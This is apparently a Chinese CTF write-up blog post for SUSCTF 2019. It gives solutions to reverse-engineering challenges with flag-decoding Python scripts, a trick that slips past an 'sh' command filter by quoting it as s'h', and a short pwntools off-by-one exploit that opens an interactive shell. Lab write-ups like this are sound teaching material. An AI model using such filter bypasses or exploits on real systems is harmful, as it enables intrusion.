susctf 2019

这次susctf我们队伍第一鸭~~~
re都ak了
五个re,四个re都是一血
没错是我干的

RE

SIGN

直接搜索字符串
就出答案了
1
susctf{RwVIphVJg9BFYAEqRYf6mnX38Vy467a9}

testfile

2

1
2
3
4
5
6
a = 'STQ@PC}&)(FZXj`fitkn'
flag = ''
for i in range(len(a)):
flag += chr(ord(a[i])^i)
print flag
#SUSCTF{!!!LQTgniyey}

水题啊

time

稍微有点难度的题目
3
前面都是对时间的验证
肯定是不满足的,所以直接patch一下jmp到check那
至于时间验证怎么搞,用z3解一下或者手解一下然后改下值就行了
来看看check部分
4
就是个初始化操作
还有取下标啊各种操作
5
来看看加密
6
这边就是俩个下标相加膜36后取码表
简单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dest = '0123456789abcdefghijklmnopqrstuvwxyz'
a = '9165do0fdbbz2cb8aiay1f65e6m4qd26'
m = [0]*35
m[0] = 0x11
m[1] = 0x11
m[2] = 0xb
flag = [0]*32
for i in range(len(a)):
for j in range(len(dest)):
if a[i] == dest[(j+m[i])%36]:
flag[i] = j
m[i+3] = j
print flag
print m
aaa = 'susctf{'
for i in range(len(flag)):
aaa += dest[flag[i]]
aaa += '}'
print aaa
# susctf{skvdttnmkopfenwunmgbfzvqfbwpfhdr}

这题其实恶心就恶心再前面时间
时间是多解的
那个判断相乘是否为8那里
还有一个是。。。
明明这边要小写的susctf提交却要大写的?!
后来我直接像出题人反应,但这并不影响一血

hello

侧信道
我前面有一篇blog专门写过mov混淆
这个也一样
7
SUSCTF{justatestflag}
不上代码了
代码有点小bug导致没有秒杀这题

easyC#

hashcat 爆破
这题应该是最难的…

PWN

checkin

水题。。。
直接cat flag
或者稍微变一下命令,他不是说不能sh吗
那就s’h’
输入s’h’也行

ret2moon

典型的off by one
8
有个地方要注意就是
v2是int型
直接上代码

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
# coding=utf-8
from pwn import *
a = process('ret2moon')
aaa = 'a'*16 + p32(0x38)
a.recvuntil("you can say someing before you wake")
a.sendline(aaa)
a.recvuntil("one more word")
pay = chr(0xe8)
a.sendline(pay)
a.interactive()
文章目录
  1. 1. RE
    1. 1.1. SIGN
    2. 1.2. testfile
    3. 1.3. time
    4. 1.4. hello
    5. 1.5. easyC#
  2. 2. PWN
    1. 2.1. checkin
    2. 2.2. ret2moon
|